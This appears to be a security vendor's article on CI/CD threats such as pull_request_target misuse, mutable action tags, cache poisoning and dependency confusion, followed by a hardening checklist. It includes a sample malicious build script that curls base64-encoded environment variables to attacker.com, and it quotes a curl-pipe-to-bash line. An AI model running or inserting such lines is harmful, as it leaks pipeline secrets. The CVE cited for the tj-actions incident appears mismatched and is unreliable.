Pipeline threat model: what attackers actually want
A compromised CI/CD pipeline provides attackers with four high-value capabilities that are difficult to obtain through direct production compromise:
- Secret exfiltration: Pipelines have access to deployment credentials, API keys, code signing certificates, and cloud credentials as environment secrets. These are far more valuable than individual production credentials because they often grant broad access across all environments.
- Artifact tampering: Injecting malicious code into build artifacts (compiled binaries, container images, npm packages) that ship to customers β the SolarWinds model. The legitimate signing certificate makes detection extremely difficult.
- Lateral movement: Pipeline runners often have network access to production databases, internal services, and cloud VPCs. Compromise gives an attacker a foothold inside your security perimeter.
- Persistence: A backdoored build pipeline produces backdoored software indefinitely. Every deployment from a compromised pipeline distributes malicious code to all customers.
The Codecov incident (2021): Attackers modified a bash uploader script distributed via Codecov's infrastructure. CI pipelines that ran bash <(curl -s https://codecov.io/bash) executed the modified script, which exfiltrated environment variables (including cloud credentials) to an attacker-controlled endpoint. Hundreds of companies were affected. The attack surface was a single line in thousands of CI configuration files.
Malicious pull request attacks: untrusted code in trusted pipelines
GitHub's pull_request_target event trigger runs in the context of the target repository (not the fork), giving the workflow access to repository secrets β even when triggered by a pull request from an external fork. This was introduced for legitimate reasons (allowing PR-triggered workflows to comment on PRs), but it's a landmine.
# DANGEROUS: pull_request_target runs with secrets on: pull_request_target: types: [opened, synchronize] jobs: build: runs-on: ubuntu-latest steps: - uses: actions/checkout@v4 with: ref: ${{{ github.event.pull_request.head.sha }}} # β checks out the PR author's code (untrusted!) - name: Build run: npm install && npm run build # β executes code from the PR with access to secrets! env: NPM_TOKEN: ${{{ secrets.NPM_TOKEN }}}
An attacker submitting a pull request to this repository can modify package.json scripts (or any script called during build) to exfiltrate NPM_TOKEN and any other secrets available in the environment. The attack code runs in the target repository's context, with full secret access.
{
"scripts": {
"build": "curl -s https://attacker.com/collect -d \"$(env | base64)\" && tsc"
}
}
Safer pattern: Use pull_request (not pull_request_target) for workflows that check out and execute PR code. If you need pull_request_target for commenting, keep it in a separate workflow that does NOT check out the PR's code.
GitHub Actions: mutable tags and cache poisoning
Mutable action tags β the SolarWinds of CI
Referencing a GitHub Action by tag (uses: actions/checkout@v4) is a supply-chain risk. Tags are mutable β the owner of actions/checkout (or a compromised account) can move the v4 tag to point to a different commit containing malicious code. Your pipeline runs it automatically on the next job.
The incident with tj-actions/changed-files (CVE-2023-49558) demonstrated this: after the maintainer's credentials were compromised, the attacker moved multiple version tags to a commit that printed repository secrets to the workflow log β affecting thousands of pipelines that used the action.
# VULNERABLE: tag is mutable - uses: actions/checkout@v4 # SECURE: pin to immutable commit SHA - uses: actions/checkout@11bd71901bbe5b1630ceea73d27597364c9af683 # v4.2.2 # Use Dependabot or Renovate to automate SHA updates
Cache poisoning
GitHub Actions caches are shared across branches in the same repository, with cache keys determined by branch and hash inputs. An attacker with write access to a branch can create a cache entry with a predictable key that gets restored in a subsequent protected-branch run, injecting malicious build artifacts into the pipeline.
# A cache key based on lockfile hash can be poisoned: # 1. Attacker submits PR that creates a cache entry # with key: npm-${{{ hashFiles('**/package-lock.json') }}} # 2. The poisoned cache contains a malicious node_modules/ # 3. If main branch CI restores the same cache key, # it uses the attacker's node_modules/ instead of reinstalling - uses: actions/cache@v4 with: path: ~/.npm key: npm-${{{ hashFiles('**/package-lock.json') }}} # Mitigation: include branch in cache key, or use cache read-only for PR runs key: npm-${{{ github.ref }}}-${{{ hashFiles('**/package-lock.json') }}}
Dependency substitution: poisoning builds through package managers
The dependency confusion / namespace confusion attack class (documented by Alex Birsan in 2021) exploits the package resolution order in npm, pip, and other package managers. When a private package name is also registered on the public registry with a higher version number, many tools prefer the public version. An attacker who registers the name on the public registry can execute arbitrary code during npm install in CI.
# Internal package: @company/auth-utils @ 1.5.0 # Hosted on: https://npm.internal.company.com # Attacker registers: @company/auth-utils @ 9.0.0 on npmjs.com # The install:scripts in package.json run during npm install # If .npmrc doesn't scope @company to the internal registry: $ npm install added @company/[email protected] from https://registry.npmjs.org # Attacker's postinstall script now runs with CI runner privileges # Fix: scope all internal packages explicitly in .npmrc @company:registry=https://npm.internal.company.com
Self-hosted runner compromise
GitHub-hosted runners are ephemeral β each job gets a clean VM that is destroyed after completion. Self-hosted runners are persistent machines that teams run to access private networks, use specific hardware, or reduce costs. Persistence creates a fundamentally different threat model.
A compromised self-hosted runner can maintain persistence across jobs, exfiltrate credentials from environment secrets of every workflow it processes, modify build artifacts before they're signed and pushed, and pivot to internal network resources accessible from the runner's network position.
Never use self-hosted runners for public repositories. Any GitHub user can submit a pull request that triggers a workflow on your self-hosted runner, executing arbitrary code on a machine with access to your internal network. This is not a misconfiguration β it is the intended behavior when auto-trigger is enabled for forks.
# Only allow self-hosted runner for deployment workflows # triggered by pushes to main β not PRs on: push: branches: [main] # not pull_request! jobs: deploy: runs-on: self-hosted # Protected by branch protection β only approved code reaches this environment: production # requires manual approval
SLSA: build provenance as a supply chain control
Supply-chain Levels for Software Artifacts (SLSA) is a security framework from Google (now a Linux Foundation project) that defines four levels of build security guarantees. Its core mechanism is build provenance: a signed, tamper-evident record of how an artifact was built β which source code, which build platform, which tools.
- SLSA L1: Build script exists. Provenance is generated but not authenticated.
- SLSA L2: Hosted build service (e.g., GitHub Actions). Provenance signed by the build platform. Non-forgeable by the developer.
- SLSA L3: Hardened build platform. Runners are ephemeral, isolated, and auditable. Source code integrity verified before build.
- SLSA L4 (aspirational): Two-party review of all changes. Hermetic, fully reproducible builds.
jobs: build: outputs: digests: ${{{ steps.hash.outputs.digests }}} steps: - uses: actions/checkout@11bd71901bbe5b1630ceea73d27597364c9af683 - id: hash run: echo "digests=$(sha256sum dist/app | base64 -w0)" >> $GITHUB_OUTPUT provenance: needs: [build] permissions: actions: read id-token: write contents: write uses: slsa-framework/slsa-github-generator/.github/workflows/[email protected] with: base64-subjects: ${{{ needs.build.outputs.digests }}}
Pipeline hardening checklist
- Pin all GitHub Actions to full commit SHAs β never use mutable tags. Use Dependabot or Renovate to automate SHA updates with PR review.
- Separate untrusted-code workflows from secret-access workflows. Use
pull_request(no secrets) for PR checks; useworkflow_run(has secrets) for post-PR operations, gated by the first workflow's completion. - Scope all internal package registries in
.npmrc,pip.conf, and similar to prevent dependency confusion. - Never use self-hosted runners on public repositories. Use ephemeral, isolated runners for all public-facing repositories.
- Apply least-privilege repository permissions to workflow tokens. Use
permissions:block to restrictGITHUB_TOKENto exactly what each job needs. - Include branch name in cache keys to prevent cross-branch cache poisoning.
- Enable secret scanning on push to catch credentials accidentally committed to workflow files or CI configuration.
- Generate and store SLSA provenance for all release artifacts. Verify provenance downstream before deploying.
- Audit third-party Actions in your workflows regularly β especially indirect dependencies via
uses:. Each one is code that runs with your secrets.
"Your CI/CD pipeline is not an internal tool. It is a code execution environment with privileged access to your entire software supply chain, triggered by inputs from external contributors. Treat it with the same attack surface analysis you'd apply to an internet-facing API."
Audit your GitHub Actions workflows for supply chain risks
AquilaX scans GitHub Actions workflows for expression injection, mutable action pins, insecure triggers, and secret exfiltration patterns β flagging pipeline risks before they reach production.
Scan your pipelines β